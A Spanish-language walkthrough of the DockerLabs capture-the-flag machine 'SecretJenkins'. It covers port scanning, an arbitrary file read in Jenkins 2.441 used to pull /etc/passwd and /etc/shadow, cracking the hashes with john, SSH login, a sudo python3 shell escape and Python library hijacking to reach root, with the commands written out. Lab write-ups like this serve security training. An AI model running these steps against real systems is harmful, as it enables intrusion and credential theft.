Ir al contenido

SecretJenkins

En este artículo se documenta la resolución de la máquina virtual SecretJenkins, desarrollada por El Pingüino de Mario y clasificada con un nivel de dificultad fácil. Se abordan de manera estructurada las fases de reconocimiento, explotación y escalada de privilegios.

  • Nombre: SecretJenkins
  • Autor: El Pingüino de Mario
  • Dificultad: Fácil
  • Fecha de creación: 11/05/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el paquete:

    Ventana de terminal
    unzip SecretJenkins.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh SecretJenkins.tar

Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP asignada

Preparamos el entorno de trabajo:

Ventana de terminal
mkdir SecretJenkins
cd SecretJenkins
mkt # Crea las carpetas: content, exploits, nmap, scripts

Lanzamos un escaneo de puertos completo con Nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Puertos detectados:

  • 22 (SSH)
  • 8080 (HTTP)

Realizamos un escaneo específico sobre los puertos identificados:

Ventana de terminal
nmap -sCV -p22,8080 172.17.0.2 -oN targeted

Servicios detectados

El servicio web expone una instancia de Jenkins. Se observan las siguientes rutas:

Jenkins UI

  • Login: Formulario de autenticación de Jenkins.
  • Builds: Página con información limitada, aunque revela la versión utilizada.

Builds

La instancia de Jenkins se encuentra en la versión 2.441, la cual es vulnerable a lectura arbitraria de archivos.

Buscamos el exploit correspondiente en ExploitDB y lo utilizamos para leer archivos del sistema.

Exploit búsqueda

Se confirma el acceso a /etc/passwd, donde se identifican los usuarios bobby y pinguinito:

passwd

Luego accedemos también a /etc/shadow y copiamos su contenido. Usamos unshadow para generar un archivo que pueda ser crackeado:

Ventana de terminal
unshadow passwd.txt shadow.txt > hash.txt

unshadow

Crackeamos el hash con john:

Ventana de terminal
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

john

Obtenemos una contraseña válida para el usuario bobby e iniciamos sesión por SSH:

Ventana de terminal
ssh bobby@172.17.0.2

SSH acceso

Ya dentro como el usuario bobby, verificamos los privilegios:

Ventana de terminal
sudo -l

sudo -l

Se permite ejecutar python3 como el usuario pinguinito.

Usamos el siguiente comando para obtener una shell como pinguinito:

Ventana de terminal
sudo -u pinguinito python3 -c 'import os; os.system("/bin/sh")'

Cambio a pinguinito

Al revisar sus permisos:

Ventana de terminal
sudo -l

Descubrimos que puede ejecutar /opt/script.py como root usando Python3. No tenemos permisos para modificar el archivo directamente, por lo que optamos por un ataque de secuestro de librería (Library Hijacking).

Library hijacking

Creamos una librería falsa con el mismo nombre que una importada por el script original y la ubicamos en el mismo directorio. Luego ejecutamos el script con:

Ventana de terminal
sudo python3 /opt/script.py

Obtenemos una shell como root:

Root access

SecretJenkins es una máquina que combina reconocimiento web, explotación de Jenkins y escalada de privilegios a través de técnicas clásicas como lectura de archivos, crackeo de contraseñas y Library Hijacking. Una práctica ideal para familiarizarse con vectores comunes en ambientes CI/CD comprometidos.